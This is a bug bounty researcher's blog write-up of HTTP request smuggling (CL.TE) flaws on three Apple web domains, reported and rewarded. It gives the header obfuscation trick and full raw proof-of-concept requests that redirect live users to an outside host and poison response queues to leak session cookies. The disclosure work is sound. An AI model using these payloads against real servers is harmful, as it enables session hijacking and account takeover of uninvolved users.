WhoAmI:
I am a twenty-year-old who has been in the bug bounty scene since 2018. Most of my time is on HackerOne, and I specialize in web application vulnerabilities. This blog is a way to share some of the interesting bugs and exploitation methods I have found over the years with the public.
Introduction:
About a year ago, Apple blew up in the bug bounty scene attracting attention due to various exploits and fair bounty tables. During this time, I decided to poke around and discovered some critical request smuggling issues affecting core web applications in Apple infrastructure.
I discovered request smuggling issues affecting servers under the following three domains.
- business.apple.com
- school.apple.com
- mapsconnect.apple.com
I used the same Request Smuggling technique to exploit each server.
The Exploit:
Each server suffered from an HTTP De-sync attack known as HTTP Request Smuggling. Specifically, each server was vulnerable to a CL.TE Request Smuggling attack. CL.TE stands for Content-Length Transfer-Encoding, which describes a vulnerable web configuration where the front-end server reads the Content-Length header in a request, and the back-end server reads the Transfer-Encoding header. Since the servers do not agree on where a request starts and ends, a vulnerability arises. Detailed information about this bug class is available at the link below.
A transformation was needed in the Transfer-Encoding header on Apple’s websites using a newline character and then a space in the header name. This transformation successfully slipped the header past the front-end server but was still used by the back-end.
Transfer-Encoding\n : chunkedUsing this information I crafted the first proof of concept.
POST / HTTP/1.1
Transfer-Encoding
: chunked
Host: business.apple.com
Content-Length: 67
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded1
Z
0GET /static/docs HTTP/1.1
Host: my.server
X: X
My smuggled path is /static/docs because a redirect occurs there, using the Host header value in the redirect. Thus, I could redirect live users to my server to ensure that the request smuggling affects production users.
Very quickly, I started receiving the requests of live production users. Additionally, this allows me to redirect JavaScript imports, leading to stored cross-site scripting on the host. If a request to a JavaScript file hits a poisoned socket, it will redirect to my JS file on my server and load that file.
However, that was not the most impactful vector of attack. All the servers were vulnerable to an attack called queue poisoning. This attack smuggles a complete request and breaks the response queue, which will start sending random responses to unintended users. Since this method discloses all response data, including Set-Cookie headers, it leads to data disclosure and account takeover with no user interaction.
POST / HTTP/1.1
Transfer-Encoding
: chunked
Host: business.apple.com
Content-Length: 196
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded1
Z
0
GET / HTTP/1.1
Host: business.apple.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Other additional vectors were usable as well. For example, I could bypass access control rules on a directory located at /internal. Originally, the directory was forbidden, but using a smuggled request anyone could discover content in that directory. All in all, Apple quickly responded and remediated the issues.
Each domain was rewarded with a 12,000$ bounty for a total reward of 36,000$. This blog is my first bug bounty write-up, and I plan to continue sharing interesting bugs and research in the future. Feel free to DM me your thoughts on Twitter.
